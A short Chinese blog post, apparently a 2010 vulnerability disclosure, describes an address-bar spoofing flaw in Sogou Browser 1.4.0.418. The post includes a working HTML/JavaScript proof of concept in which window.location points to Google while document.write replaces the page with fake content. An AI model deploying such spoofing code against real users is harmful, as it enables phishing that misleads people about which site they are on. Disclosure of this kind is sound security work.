搜狗浏览器“页面欺骗”漏洞
2010年03月01日 |
作者：xisigr
测试版本：搜狗浏览器版本：1.4.0.418(正式版)
漏洞成因：在搜狗浏览器中，window.location和document.write两个函数发生条件竞争阻 塞。“window.location”函数使URL中显示到一个地址域，同时页面元素却可以被“document.write”函数所改写。这样导致攻 击者可以篡改页面，来实施钓鱼欺骗攻击。
效果图：
测试代码：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<span style="color: #ff0000;"><center> <h1>SogouExplorer spoofing</h1> </center> <p> <a href="javascript:spoof()">test!</a> <p> <script> function spoof() { window.location = "http://www.google.com"; document.write("<title>Google</title>"); document.write("<h1>FAKE PAGE</h1>"); document.write("xisigr[xeye]"); } </script></span> |
没有评论
暂无评论
RSS feed for comments on this post.
对不起，该文章的评论被关闭了！